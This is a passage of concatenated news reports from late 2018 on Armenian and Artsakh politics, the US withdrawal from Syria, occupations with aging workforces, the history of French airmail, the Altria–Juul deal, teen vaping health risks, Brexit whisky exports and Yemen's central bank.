certain aspects of this draft, Central Information Department of the Office of the NKR President informed Armenian News-NEWS.am. The budget reflects the fundamental principles of our countrys economic development based on such components as dynamically and proportionally developing economy, ensuring high level of inter-Armenian economic integration, and preserving the most important attributes of the social state, Sahakyan highlighted. Army building, security, and civil defense spheres have always been at the focus of special attention. From now on, everything possible will be done to consistently increase the combat-readiness of the army, equip the armed forces with contemporary weaponry, strengthen and modernize the civil defense system, solve the social problems of servicemen, veterans and the disabled. According to the President, thorough and comprehensive discussions of the draft budget have passed through all the necessary steps, and the deputies have had the opportunity to familiarize themselves with the logic of this budget, its potential and the formation process, and to share their respective opinions and viewpoints. Sahakyan extended his gratitude to the members of the parliament for their cooperation and active participation in the budget deliberations, and he proposed to adopt the submitted final version of the draft budget as a law. As a result of debates, the National Assembly passed the state budget of the Artsakh Republic for the year of 2019. The leaders of world IT giants will arrive in Armenia within the World Information Technology Congress (WCIT), to be held in Yerevan on October 6-9, President of the Union of Information Technology Enterprises (UITE) Alexander Yesayan told reporters on Thursday. Armenia will host 2500 visitors from different countries of the world, including Google, Amazon, Facebook, Dell, HP, Intel, Apple. The Armenian side has also reached an agreement with the organizers of the Taipei international computer exhibition Computex to hold a joint exhibition here in Armenia with the participation of Taiwanese IT companies, including Asus, Acer, TSMC, as well as Russian and US companies' representatives. Within the WCIT, it is important for Armenia to show its IT potential in order to attract investments, as well as to demonstrate the level of IT education here in Armenia, since the world giants are primarily interested not only in the number of Armenian IT specialists, but how much their number grows every year, Yesayan added. The Armenian authorities began to listen to proposals for the development of arms industry, Karen Vardanyan, Executive Director of the Union of Information Technology Enterprises (UITE) of Armenia told reporters on Thursday. According to him, this is evidenced by the initiative to separate State Committee of Military Industry from the Defense Ministry. Enterprises created within the Union mobilization fulfill Defense Ministrys orders, like the implementation of the Linux operating system. Agreements have also been reached with both the National Security Service, and the city hall, he said. According to him, 2018 was a turning point for UITE, as there was a progress in all programs, while the number of Armat engineering labs may exceed 250 by the end of 2018, with the number of students reaching 5300. For the first time, the REAL school project was founded in Gyumri and Vanadzor in 2018 and next year the initiative may be expanded for two other Armenian cities. City signs monorail MoU with Chinese company The Kathmandu Metropolitan City on Wednesday signed a Memorandum of Understanding (MoU) with China Railway 25 Bureau Group Ltd of China Railway Construction Corporation (CRCC) to conduct the detail project report of the proposed monorail along the 27-km Ring Road. Germany is concerned by the US decision to withdraw American troops from Syria as it could undermine efforts to fight ISIS, AP reported. Foreign Minister Heiko Maas said on Thursday that "the abrupt change of course by the American side comes as a surprise not only for us." According to him, the threat is not yet over. He noted that "there is a danger that the consequences of this decision could damage the fight against IS and endanger the successes that have been achieved." The US President Donald Trump stands for his decision to withdraw US troops from Syria amid criticism from a number of countries According to him, the US was doing the work of other countries, including Russia and Iran, receiving very little in return. Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA Donald J. Trump (@realDonaldTrump) December 20, 2018 In another tweet, Trump said that its time for others to finally fight. At Thursdays Cabinet session, the Government of Armenia approved the draft presidential decree on approving the funding agreement that was signed with the European Union (EU), and with respect to carrying out nuclear safety promotion and stress tests in the country. The pre-evaluated total cost of this program is 6.5 million. The said draft decree has been submitted to the President for approval. All of Armenias actions within the framework of the CSTO are aimed at increasing the effectiveness of this organization, Anna Naghdalyan, spokesperson of the Ministry of Foreign Affairs (MFA), stated at Thursdays press briefing. And to the remark that it has become known that Kyrgyzstan will support Belaruss candidate for the next Secretary General the Collective Security Treaty Organization (CSTO), Naghdalyan responded there was no final decision yet on this matter, and therefore it was impossible to express a view on individual persons Russia has smooth relations with Armenia, Russian President Vladimir Putin told reporters on Thursday. His remark came in response to comment on how Russia will restore its policy towards Armenia after the snap elections held in December. According to him, there is nothing to restore in Armenian-Russian relations. ccording to him, Russia and Armenia should proceed from the realities of the current situation both in the world and region. And we will soon discuss it with Mr. Pashinyan, who is set to come next week, Putin added. There is great probability that there will be no Ministry of Diaspora in the new structure of the Government, acting Prime Minister of Armenia Nikol Pashinyan stated on Wednesday. Now we are in the stage of discussions and our key task is to achieve a maximally effective level of state administration, including in the relations with the Diaspora. There is the probability that we will have no Ministry of Diaspora in the new Government and that probability is rather high, but this does not mean that we will not make the connections between Armenia and Diaspora effective through other state bodies, Pashinyan said. All U.S. State Department personnel are being evacuated from Syria within 24 hours, a U.S. official told Reuters, after the White House said it had started withdrawing U.S. forces, Reuters reported. The official said the U.S. plans to pull military forces out of the country once the final stages of the last operation against Islamic State is complete, and that the time-frame for the troop pullout is expected to be between 60 to 100 days. The decision came after a phone call between U.S. President Donald Trump and his Turkish counterpart Tayyip Erdogan on Friday. Everything that has followed is implementing the agreement that was made in that call, the official said. Congress Mahasamiti meeting resumes at Sanepa The Mahasamiti meeting of the Nepali Congress (NC) has resumed at the party central office in Sanepa, Lalitpur, on Thursday. Some jobs are showing their age. Certain occupations are facing potential shortages in the next decade due to an aging workforce and lack of young workers entering the field. Our data journalist Alex Mahadevan did an analysis of the U.S. Census Bureaus Current Population Survey. He compared the number of workers age 45 and older against workers age 16 to 24 to determine which occupations have the largest ratio of old to young employees. We picked out 10 jobs that are dominated by an older workforce and broke down what it takes to land a job in that field. But why would you want to work in a career that no one is joining, you ask? Well, because the labor market is pretty darn hot right now, with U.S. Labor Department numbers showing that the number of job openings now exceeds the workforce. And if an occupation is facing a potential labor shortage due to retirement-age employees exiting, that means employers are going to have to compete to fill the gaps. Stiff competition can potentially lead to better working conditions, with employers boosting pay, offering benefits and handing out bonuses in an effort to attract employees. The tight labor market also puts employees in a better position to negotiate for higher pay or more benefits. So whether youre figuring out what career path to take or considering transitioning to a new field, here are some jobs that are hurting for young blood. 10 Jobs With a Large Aging Workforce Animal Control Workers Officer Gardner walks through the backyard of an abandoned home in search of a stray dog. Its definitely a job Im glad I got into, she said. Its fun, but there are some sad days. Aileen Perilla/The Penny Hoarder Number of workers 45 and older: 9,000 Number of workers under 25: Less than 100 Median pay: $35,520 Typical education requirement: High school diploma or equivalent Just in case youve never seen one of those heartbreaking commercials, animal control officers typically handle investigations of mistreatment, abandonment, dangerous or unattended animals. They are also in charge of enforcing local and regional animal treatment laws. Along with an interest in working with animals, this profession requires knowledge of public safety, problem sensitivity and personal service skills. A lot of face-to-face time comes with the job, usually in volatile situations. Story continues Most animal control officers receive on-the-job training, but there are other certifications and training programs available through institutions like the National Animal Care & Control Association. Aircraft Pilots and Flight Engineers Number of workers 45 and older: 74,000 Number of workers under 25: 2,000 Median pay: $137,330 Typical education requirement: Bachelors degree The pilot shortage has been a hot topic in the news for the past year. Thousands of pilots are approaching retirement age but the number of young workers training for the occupation is low. Couple that with the increase in plane manufacturing and the growing demand for air travel, and youve got a shortage. Obviously, this is a career that requires a lot of education, training and experience you cant just hop in the cockpit and start cruising the skies. Applicants have to go through pilot school to obtain a pilot certification. And after that, there are more certifications, training and flight time to complete to work for an airline. Heres some more info on how to become a pilot. Librarians Number of workers 45 and older: 104,000 Number of workers under 25: 10,000 Median pay: $58,520 Typical education requirement: Masters degree Considering the dominant aging workforce, maybe the old librarian trope isnt too far off. This occupation can be found in academic, public, private and school libraries, as well as the federal government. Aside from a passion for the written word, librarians typically have a masters degree in library and information science. They can also hold a masters in a specialty field. Librarians in public schools may be required to have an extra level of certification. Morticians, Undertakers and Funeral Directors Funeral director Hank Zirckel helps owner Norman Black wheel out a cardboard coffin made specifically for air flight travelat Haigh-Black Funeral Home in Ormond Beach, Fla., on Nov. 19, 2018. The funeral home has been in the family since 1931. Aileen Perilla/The Penny Hoarder Number of workers 45 and older: 28,000 Number of workers under 25: Less than 100 Median pay: $51,850 Typical education requirement: Associates degree Tasks for morticians involve arranging and directing funeral services. This can include consulting families, preparing remains and contacting cemeteries. This occupation can be taxing, considering the subject matter and the fact that it requires employees to be available long hours, including weekends. Death rarely sticks to a 9-to-5 schedule. Along with an associates degree in mortuary science, this profession typically requires some apprenticeship experience and licensing. Accredited programs that offer mortuary studies can be found through the American Board of Funeral Service Education. Compassion and strong personal skills are needed to work in this profession. On top of that, time management and organization play major roles, seeing as how morticians are overseeing an event. And bonus points if your last name is Addams. Coin, Vending and Amusement Machine Servicers and Repairers Number of workers 45 and older: 14,000 Number of workers under 25: 1,000 Median pay: $33,690 Typical education requirement: High school diploma or equivalent This is one of those jobs that you dont really think about until one day you see someone stocking a claw machine with stuffed animals. Aside from restocking, the occupation includes inspecting and repairing machines as needed, so maintenance and mechanical skills are needed. More specific knowledge will depend on the type of machine that needs servicing but could include circuit boards, processors or computer hardware. Private Detectives and Investigators Number of workers 45 and older: 47,000 Number of workers under 25: 4,000 Median pay: $50,700 Typical education requirement: Bachelors degree Private detective might conjure images of Nancy Drew or the Hardy Boys, but its actually a lot more modern than that. Aside from private eyes, this occupation can include loss prevention officers, asset protection detectives and field investigators. Critical thinking and problem-solving skills top the list of requirements for this gig. Tasks in these positions might be pre-employment checks, investigating fraudulent insurance claims or obtaining information for criminal court cases. So, its a little less glamorous than The Maltese Falcon would lead you to believe. Writers and Authors Rick Wilber stands on the porch of his home in St. Petersburg, Fla., with some of his books on Oct. 16, 2018. An accomplished author, he has published more than 50 short stories, several novels and short-story collections, three edited anthologies, a memoir and a half-dozen college textbooks on writing and the mass media, according to his website. Chris Zuppa/The Penny Hoarder Number of workers 45 and older: 123,000 Number of workers under 25: 10,000 Median pay: $61,820 Typical education requirement: Bachelors degree Ah, an occupation close to my heart. This group includes copywriters, poets, lyricists, novelists, playwrights, biographers and screenwriters, to name a few. So, you dont have to be the next Tolkien to get in on this career. A bachelors degree is reported as the average education level, but experience will go a long way in this field as well. Obviously, the top skills include writing and reading comprehension, but others that one might not think of include sales, marketing and customer service. Basically, there are writing jobs found in more areas than you think. Archivists, Curators and Museum Technicians Number of workers 45 and older: 29,000 Number of workers under 25: 3,000 Median pay: $51,760 Typical education requirement: Masters degree Archivists, curators and museum techs actually have a bright outlook, with a 10% to 14% projected growth rate between 2016 and 2026. But the gap between the young and aging workforce is hard to ignore. Along with a graduate degree, people in these roles typically have strong organizational, reading comprehension and research skills. Day-to-day activities could include transcribing, appraising and authenticating historical documents or permanent records. That, and protecting the Declaration of Independence from Nicolas Cage. Chiropractors Dr. Lauren Cooper works on a patients neck to relieve pressure. A chiropractic physician at Bay Street Wellness in Eustis, Fla., she graduated in 2012 with a Doctor of Chiropractic degree from Palmer College of Chiropractic after leaving a career in medical supply sales. Aileen Perilla/The Penny Hoarder Number of workers 45 and older: 34,000 Number of workers under 25: Less than 100 Median pay: $68,640 Typical education requirement: Doctoral or professional degree This is another occupation that is projected to see growth over the next decade, but the current young workforce is extremely low. The majority of respondents in this field listed a doctoral or professional degree as the typical education requirement, but chiropractors technically dont have to go to medical school. They earn a Doctor of Chiropractic degree from an accredited chiropractic program and become licensed practitioners. Bus Drivers Number of workers 45 and older: 413,000 Number of workers under 25: 21,000 Median pay: $40,780 Typical education requirement: High school diploma or equivalent Remember Dorothy Harris, the bus driver in Forrest Gump? We saw her drive Forrest to school and then do the same for his son some 30 years later. That little movie tidbit is oddly factual, considering that the median age of bus drivers is 53 and the ratio between young and old workers is 19.6%. Obviously, bus drivers should be skilled at operating a motor vehicle but they also must be willing to sit for long hours in an enclosed space and interact with customers frequently. Government positions take up about half of the industry, such as school or city bus drivers, but there are other roles such as charter and warehouse bus operators. Kaitlyn Blount is a staff writer at The Penny Hoarder. Alex Mahadevan is a data journalist at The Penny Hoarder. This was originally published on The Penny Hoarder, which helps millions of readers worldwide earn and save money by sharing unique job opportunities, personal stories, freebies and more. The Inc. 5000 ranked The Penny Hoarder as the fastest-growing private media company in the U.S. in 2017. Paris (AFP) - On December 25, 1918 a daring French industrialist launched the world's first ever airmail service, flying between the southwestern French city of Toulouse and Barcelona in northeastern Spain. It was the beginning of an adventure which would soon see pioneering pilots from the company, best known as Aeropostale, delivering letters to Morocco, Senegal in Africa and later to Latin America. The plan for a regular airmail service was dreamt up in the last months of World War I by visionary captain of industry, Pierre-Georges Latecoere. If it were to work, he would have to build more efficient planes at his Toulouse factory. It seemed sheer madness in an era when pilots navigated by sight, without sophisticated onboard instruments, and did not even have sealed cockpits, their heads open to the elements. "I've redone all the calculations, they confirm the opinion of specialists. Our idea is unachievable," Latecoere said. "There is only one thing left for us to do, that is to carry it out." - 'Insane' and 'unreasonable' - When his Salmson biplane set out for Barcelona on Christmas Day in 1918, Latecoere sat behind the pilot, Rene Cornemont, according to the book "Aeropostale" (2010). The plane made the trip in two hours and 20 minutes with its sack of letters and parcels. Civilian airmail was born. Nine months later, in September 1919 and using Breguet 14 planes, the airmail link between France and its colony Morocco was launched, led by former fighter pilot Didier Daurat. Under a contract with the French state, eight monthly flights from Toulouse to Rabat would be made. However, in October 1920 the company lost its first pilots, when their plane crashed. More fatal accidents came over the following months. The press wrote of an "insane undertaking" and an "unreasonable sacrifice". - Hostage drama and literary legends - But as aircraft and organisation evolved, the link was extended to Casablanca. Story continues By late 1923 the company, by then called Compagnie Generale d'entreprises aeronautiques (CGA), used around 100 planes and had already transported three million letters and 1,344 daring passengers. The company set its sights on Dakar in Senegal, also a French colony. That would involve flying over hundreds of kilometres of desert, where rebellious Moorish tribes lived. This meant two planes for that route, one to provide assistance to the other in the case of a forced landing. In 1926 the company assigned Jean Mermoz to the Casablanca-Dakar airmail link. He became a legend when, following engine failure, he was taken hostage by Moors who freed him after receiving a ransom several days later. Another legend of international postal aviation was French author Antoine de Saint-Exupery, who wrote his first novel "Courrier sud" (Southern Mail) when he was working in the late 1920s at the Cape Juby airfield in the Spanish zone of South Morocco. It was there, between the Atlantic Ocean and the ochre dunes of the Sahara, that he found the setting for his future work "Le Petit Prince" (The Little Prince), which tells of a pilot whose plane crashes in the Sahara, where he meets a young boy. - Latin America reached - In 1927 Latecoere sold the company to French industrialist Marcel Bouilloux-Lafont, who was based in Latin America, where he introduced the service and renamed the company Aeropostale. In May 1930 Jean Mermoz carried out the first commercial air crossing across the south Atlantic, between Saint-Louis in Senegal and Natal in Brazil with a Late 28 seaplane. Aeropostale's Henri Guillaumet regularly crossed the dangerous Andes Mountains, delivering mail between Buenos Aires and Santiago in Chile. In June 1930 his Potez 25 made an emergency landing in the mountains. He was taken in by a villager after walking for several days in the snow. "What I did, no idiot would ever have done," he told Saint-Exupery when they met several days later. Aeropostale was by this time financially strapped. In 1933 its assets were bought by a group of aviation companies which would later become Air France. Mermoz was lost at sea in 1936. Several decades later his correspondence with his family and friends was published under the title "Defricheur du ciel" (Pioneer of the sky). The Aeropostale saga was just the beginning of a long list of airborne feats around the world between the two World Wars. Among them was the first non-stop transatlantic flight by British aviators John Alcock and Arthur Brown in 1919. The first major national airlines started to form that year with Dutch KLM, followed by Germany's Lufthansa in 1926 and American Pan Am in 1927. The Daily Beast Photo Illustration by The Daily BeastOXFORD, MichiganDetailed descriptions of a wish to massacre classmates on his cellphone and in a journal. At least one social media post pointing to elation at access to a handgun bought by his dad. A mom who thanked Trump for my right to bear arms. And a meeting between his parents and school administrators about his conduct just hours before the attack.Authorities on Wednesday identified the teenage suspect in the mass shooting a day earlier at Michigan Chicago (AFP) - Almost 700 clergymen in Illinois have been accused of child sexual assault, a far greater number than the Catholic Church had previously disclosed, the Midwestern US state's top prosecutor revealed Wednesday. Illinois Attorney General Lisa Madigan said the Church's revelations that 185 clergy members were credibly accused of sexual abuse fell short of the number her office has uncovered. The preliminary results of an investigation that began in August found more than 500 additional priests and clergy members with sexual abuse allegations in the Midwestern state's six dioceses -- a total of at least 685 accused. In a scathing statement, the attorney general's office criticized the Church's handling of the abuse allegations, saying investigations were lacking, and in many cases law enforcement and child welfare authorities were not notified. "The preliminary stages of this investigation have already demonstrated that the Catholic Church cannot police itself," Madigan said. She added that the church had failed to provide "a complete and accurate accounting of all sexually inappropriate behavior involving priests in Illinois." The Illinois investigation was prompted by a sweeping grand jury report in August that revealed credible allegations against more than 300 suspected predator priests and identified over 1,000 victims of child sex abuse covered up for decades by the Catholic Church in the state of Pennsylvania. In October, federal authorities for the first time opened an investigation into clergy abuse. Dioceses in the state reported receiving federal grand jury subpoenas to produce documents. Altria, one of the world's biggest tobacco companies, is spending nearly $13 billion to buy a huge stake in the vape company Juul as cigarette use continues to decline. The Marlboro maker said Thursday that it will take a 35 percent share of Juul, putting the value of the company at $38 billion, larger than Ford Motor Co., Delta Air Lines or the retail giant Target. "We are taking significant action to prepare for a future where adult smokers overwhelmingly choose non-combustible products over cigarettes," Altria Chairman and CEO Howard Willard said in a prepared statement. E-cigarettes and other vaping devices have been sold in the U.S. since 2007 and have grown into a $6.6 billion business, and it is already intersecting with another seismic shift in the U.S. the legalization of marijuana across the U.S. The investment comes about two weeks after Altria stepped into the cannabis market with an investment of around $2 billion in Cronos Group, the Canadian medical and recreational marijuana provider. North American consumer spending on legal cannabis is expected to grow from $9.2 billion in 2017, to $47.3 billion by 2027, according to Arcview Market Research, a cannabis-focused investment firm. Altria Group Inc. isn't the only major corporation attempting to incorporate marijuana sales. This week Anheuser-Busch InBev, the maker of Budweiser, partnered with medical cannabis company Tilray in a $100 million deal to research cannabis-infused drinks for the Canadian market. In August, Constellation Brands announced a $4 billion investment in another Canadian pot producer, Canopy Growth Corp., the largest to date by a major U.S. corporation in the cannabis market. With nicotine-based vaping, devices heat a flavored nicotine solution into an inhalable vapor. They have been pitched to adult smokers as a less-harmful alternative to cigarettes, though there's been little research on the long-term health effects or on whether they help people quit. Story continues The growing popularity of e-cigarettes has alarmed a number of health officials. This week, Surgeon General Jerome Adams said parents, teachers, health professionals and government officials must take "aggressive steps" to keep children from using e-cigarettes. Federal law bars the sale of e-cigarettes to those under 18. There is a scramble in the U.S. to reverse a recent explosion in teen vaping that public health officials fear could undermine decades of declines in tobacco use. An estimated 3.6 million U.S. teens are now using e-cigarettes, representing 1 in 5 high school students and 1 in 20 middle schoolers, according to the latest federal figures. Juul said Thursday that it recently began to take actions intended to prevent underage vaping. The company shut down its Facebook and Instagram accounts last month and halted in-store sales of flavored pods, which were viewed by many critics as a direct play for younger users. Juul also said that it's also enhancing age-verification for its online sales. Juul Labs Inc., based in San Francisco, said it had initially hesitated to accept the investment from Altria. "But over the course of the last several months we were convinced by actions, not words, that in fact this partnership could help accelerate our success switching adult smokers," Juul said. Juul will remain an independent company, but it gains access to Altria's massive infrastructure and reach. Namely, Altria will help Juul secure space on store shelves beside traditional cigarettes. It will also help Juul reach smokers via cigarette pack inserts and mailings. Under the agreement, Altria's only entry into the e-cigarette market will be through Juul for at least six years. _____ AP Health Writer Matthew Perrone contributed to this report from Washington Washington (AFP) - US tobacco giant Altria, maker of major brands such as Marlboro and Chesterfield, announced Thursday that it will buy a 35 percent stake in popular e-cigarette maker Juul for $12.8 billion. The investment gives Juul a valuation of $38 billion -- more than twice its current value of $16 billion. "We are taking significant action to prepare for a future where adult smokers overwhelmingly choose non-combustible products over cigarettes," said Altria CEO Howard Willard. "We have long said that providing adult smokers with superior, satisfying products with the potential to reduce harm is the best way to achieve tobacco harm reduction. Through Juul, we are making the biggest investment in our history toward that goal." E-cigarettes expose users to significantly lower levels of potentially toxic substances, except for nicotine, the US National Academies of Sciences, Engineering and Medicine said this year. Converting conventional cigarette smokers to vaping would therefore reduce the number of cancer cases. Juul CEO Kevin Burns said the Altria investment had offered his company "a truly historic opportunity to improve the lives of the world's one billion adult cigarette smokers." But Juul, founded in 2015, has nevertheless found itself at the center of controversy over the appeal of its products to young people. Numerous parents and high schools say teenagers are using Juul, raising fears that a new generation is being exposed to nicotine, which is addictive but not cancerous. The US Food and Drug Administration has denounced "an epidemic of regular nicotine use among teens." In recent months, Juul has suspended in-store sales of certain flavored offerings and scrapped its social media presence. "We certainly don't want youth using the product. It is bad for public health, and it is bad for our mission," which is "eliminating cigarettes," Burns said in November. Under the deal with Altria, Juul will remain fully independent, a statement from Altria said. The Pentagon said strikes would continue while US forces were on the ground - US DEPARTMENT OF DEFENSE The US has reportedly decided to halt its airstrikes against the Islamic State (Isil) in Syria after it withdraws its troops, a move that would effectively bring an end to the entire Western air campaign against the jihadists. US officials said that Donald Trumps decision to pull US forces out of Syria would also mean an end to American airstrikes against Isil fighters in the country, according to Reuters. The Pentagon did not deny the report and refused to say if US airstrikes would continue after American forces withdraw in March next year. As long as there are US troops on the ground we will conduct air and artillery strikes in support of our forces. We will not speculate on future operations, a Pentagon spokeswoman told The Telegraph. The US provides the overwhelming majority of the firepower for the Western air campaign against Isil and is responsible for around 95 per cent of the air strikes in Syria, according to Airwars, a monitoring group. Britain and France have both signalled that they intend to continue striking Isil even after the US withdraws its ground troops but Airwars said that might not be possible if America withdraws from the air campaign. Even if the UK and France wished to continue strikes against Isil in Syria, their campaigns are so intertwined with key US assets - intelligence, surveillance, reconnaissance, refuelling, targeting - that it may not be possible, the group said. The UK warned earlier in the day that the West must not lose sight of the threat Isil poses, even if all its territory is lost. France said it planned to keep around 1,000 troops in northern Syria. Some Kurdish troops are already moving north in anticipation of a Turkish offensive Credit: DELIL SOULEIMAN/AFP/Getty Images The most immediate concern for the SDF is that Turkey will take the US pull out as a green light to launch a major offensive against the Kurds in northern Syria. Turkey considers the Kurdish armed groups in Syria to be terrorists. Hulusi Akar, the Turkish defence minister, said Kurdish fighters will be buried in their ditches when Turkish troops advance against their positions east of the Euphrates River. Story continues The Kurdish Peoples Protection Units (YPG), the SDFs largest constituent force, has already begun moving fighters from the frontline against Isil in eastern Deir Ezzor province to towns along Syrias northern border with Turkey. One YPG fighter said: All Kurds expected this to happen at some point, but not like this, not in a tweet with no real explanation, just after Turkey threatens the Kurds with a massacre. SDF commanders have discussed releasing some of the thousands of Islamic State suspects they are holding in response to the US decision, sources said. Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight..... Donald J. Trump (@realDonaldTrump) December 20, 2018 The SDF is currently holding 2,000 Isil suspects from more than 44 different countries, including six British men, four British women and some eight of their children. Among those are the so-called Beatles torturers Alexanda Kotey and El Shafee ElSheikh from London. Their home countries have so far refused their return and the SDF had previously warned they would neither try them in Syria nor hold them forever. Another possibility is the SDF could turn them over to the Syrian regime. In the face of widespread confusion and frustration by American allies, Mr Trump took to Twitter to defend his decision, saying the US had borne too much of the burden of fighting against the jihadists. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work, he wrote. Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? The US has around 2,000 troops in Syria Credit: DELIL SOULEIMAN/AFP/Getty Images Vladimir Putin, the Russian president, said he agreed with Mr Trump that Isil had been defeated and he said illegitimate US forces should leave Syria. In this Donald is right, I agree with him, Mr Putin said at his annual press conference. As for US troops in Syria, I don't think they're needed, let's not forget that presence of your troops there is illegitimate. Appearing to take advantage of Mr Trumps announcement, Isil launched a major counterattack on Wednesday on the town of Hajin, which had been captured by the SDF last week. Turkish state media reported that a convoy of US military vehicles began leaving eastern Syria on Wednesday night and crossed over the border into Iraq. SDF forces have been fighting to drive Isil from Hajin Credit: DELIL SOULEIMAN/AFP/Getty Images Appearing to take advantage of Mr Trumps announcement, Isil launched a major counterattack on Wednesday on the town of Hajin, which had been captured by the SDF last week. US diplomats began evacuating Syria immediately after Mr Trumps withdrawal announcement on Wednesday. The White House would not say how quickly US troops would be withdrawn but US officials told Reuters they would all be out by the end of March. Mr Trumps own tweets seemed to show a level of confusion about Isils capabilities. After declaring that the jihadists were defeated on Wednesday, Mr Trump said Thursday they are doomed if they attack the US. Russia, Iran, Syria & many others are not happy about the U.S. leaving, despite what the Fake News says, because now they will have to fight ISIS and others, who they hate, without us, Mr Trump said. Both US and Israeli officials have warned that the US withdrawal will allow Iran to entrench itself more deeply in Syria. Benjamin Netanyahu, the Israeli prime minister, avoided criticising Mr Trump but said Israel would increase its efforts against Iran in Syria. Moshe Kahlon, Israels finance minister, was more blunt. The American decision is not good, he said. Exports of Diageo-owned whisky brands have surged in recent months. Pic: PA America has been going on a kind of pre-Brexit whisky binge, with October setting an all-time import record for the spirit, according to a Panjiva Research note on Thursday. One of the obvious explanations for the 51.3% surge in whisky shipments from the rest of the world to the US is that importers are hoping to preempt post-Brexit shortages, with scotch whisky manufacturers warning that a no-deal scenario could lead to increased costs and supply chain complications. While Irish whiskey has been growing more quickly than Scotch, UK exports of whisky surged 17.3% in October compared to the same month in 2017, with most of the export growth to the US being led by drinks giant Diageo (DGE.L), which owns the Johnnie Walker and Buchanans brands. The company saw a threefold surge in exports in the three months to the end of November. On Wednesday, the Scotch Whisky Association issued a warning to MPs that a no-deal Brexit scenario would cause considerable difficulties for the 4.5bn ($5.6bn) industry, pointing to the potential for increased costs and complexity in production, distribution and exporting processes. Calling Theresa Mays Brexit deal a compromise, it nonetheless said it was a positive step towards much needed business certainty. Brexit has also stoked the fears of the whisky industry in other ways. Reports from earlier in the year suggested that American trade groups, as part of a future trade deal with the US, could demand the scrapping of EU rules that require the spirit to be aged for at least three years if its to be marketed as whisky in the UK. If the UK decides not to replace the EU product labelling rules once it leaves the bloc, US manufacturers would be able to flood the market with their much younger, cheaper products. Consumer Reports has no financial relationship with advertisers on this site. Consumer Reports has no financial relationship with advertisers on this site. The promise of electronic cigarettes is straightforward: Lifelong smokers can wean themselves off a toxic habit, in favor of an alternative that isnt packed with tobacco and dozens of unsafe carcinogens. But e-cigarettes and vaping products present health concerns of their own, health experts say, and thats due in part to nicotine. That was a point underscored on Tuesday by U.S. Surgeon General Jerome Adams, who declared that vaping use has reached an epidemic level among young people. Less harm does not mean harmless, Adams said at a press conference. In a sharply worded advisory issued Tuesday, Adams implored parents, teachers, and health professionals to take steps to rein in e-cigarette use. E-cig use among teens has soared over the past year. More than 3.6 million youthsroughly 1 in 5 high school students and 1 in 20 middle school studentsreported using e-cigarettes, Adams noted in the advisory. A new survey from the National Institute on Drug Abuse, released on Monday, noted that more than one-thirdor 37 percentof high school seniors had vaped at least once in the past year, up 10 percent from a year prior. Adams singled out e-cigarette manufacturer Juul as part of the reason for the soaring use, saying one of its cartridges contains about as much nicotine as a pack of 20 regular cigarettes. His advisory pointed out that approximately two-thirds of Juul users arent even aware that the devices contain nicotine. (Juul responded by saying its goal is to prevent youth "from initiating on nicotine.") For young people, that nicotine content is particularly problematic, according to health experts who spoke with CR. The number one concern is the addiction power of the nicotine, says Ana Navas-Aciena, M.D., professor of environmental health sciences at Columbia Universitys Mailman School of Public Health. We know that nicotine is an incredibly addictive substance, and we also know the younger you are when youre exposed to that chemical, the more likely it is that you will be highly addicted to it. Story continues Research on the effects of nicotine addiction stemming from e-cig use is still in its infancy, Navas-Aciena says. But its better to start examining the effects now than later. The question is, how long do you wait until you know everything before taking action? she says. I think its important from a public health perspective to reallygiven the potential for toxicity, given the extremely addictive power of this productthink carefully before the epidemic is out of proportions. How Nicotine Affects a Developing Brain The addictive quality is key. Young people are significantly more likely to become addicted to nicotine than adults, says Bonnie Halpern-Felsher, Ph.D., a developmental psychologist and professor of pediatrics at Stanford University, as their brains are continually developing up until about age 25. During that time, anything we introduce into it actually changes our brains, Halpern-Felsher says. So, by introducing nicotine, an addictive substance for which we already have receptors in place, we heighten those receptors and the brain alters to want more nicotine after. While nicotine itself is known to increase blood pressure and has been linked to heart disease, its biggest risk, experts say, is its addictive qualities. That's because the more addicted you are to nicotine, the more often you will likely use the devices, increasing your exposure to other harmful compounds, Navas-Aciena says. For example, a study published earlier this year in the journal Pediatrics found that e-cig devices contain some of the same cancer-causing ingredients found in traditional cigarettes. E-Cigarettes May Lead to Regular Cigarettes Anyway Another area of interest among researchers is whether addiction among e-cig users prompts them to move on to regular cigarettes, says Micah Berman, associate professor of public health and law at Ohio State University. It seems to be that nicotine exposure in kids is linked to development in mood disorders, attention disorders, other drug-seeking behaviors, Berman says. A study published in October 2018 by the Rand Corporation surveyed more than 2,000 people in California, ages 16 to 20, over a three-year period, and found that the longer they used e-cigs, the more likely they were to also start smoking regular cigarettes. At age 17, more teens (8 percent) reported using e-cigs than regular cigarettes (6 percent) in the past month. But by age 19, those numbers reversed, with 12 percent of them now saying they smoked cigarettes compared with just 9 percent of those saying that they used e-cigs. Nicotine and the Heart While researchers have long known that nicotine in cigarettes can raise blood pressure, only recently have they shown that it can have the same effect when it's in e-cigarettes, too. In 2016, researchers in Sweden recruited 15 volunteers who were seldom smokers, and had them use e-cigs with nicotine for 30 minutes on one day, followed by an e-cig without nicotine for 30 minutes the other day. They found a significant increase in blood pressure in the first 30 minutes after the nicotine-packed e-cig was smoked, while there was no similar effect for the nicotine-free device, according to the European Lung Foundation, which detailed the study last year. Magnus Lundback, M.D., a researcher at the Danderyd University Hospital, Karolinska Institute in Sweden described the findings in a statement at the time as preliminary, but he said that the rise in blood pressure is most likely attributed to nicotine. More from Consumer Reports: Top pick tires for 2016 Best used cars for $25,000 and less 7 best mattresses for couples Consumer Reports is an independent, nonprofit organization that works side by side with consumers to create a fairer, safer, and healthier world. CR does not endorse products or services, and does not accept advertising. Copyright 2019, Consumer Reports, Inc. By Maha El Dahan and Jonathan Saul ADEN/LONDON (Reuters) - The central bank of Yemen, split into two rival head offices reflecting a country divided by war, has been slow to finance imports of food needed to fend off widespread hunger, sources with knowledge of the matter have told Reuters. Saudi Arabia agreed in July to lend $2 billion to the central bank office located in the southern port of Aden, the seat of the Riyadh-backed government, to help finance imports of basic goods. (For a graphic: https://tmsnrt.rs/2PpX3eI) The loan would enable importers to exchange Yemeni rials for dollars to buy food for a country where a collapse in the currency has left many unable to afford basic foodstuffs. But an Aden central bank document circulated in November, seen by Reuters and corroborated by two of the sources, made clear that only a little over $170 million had been 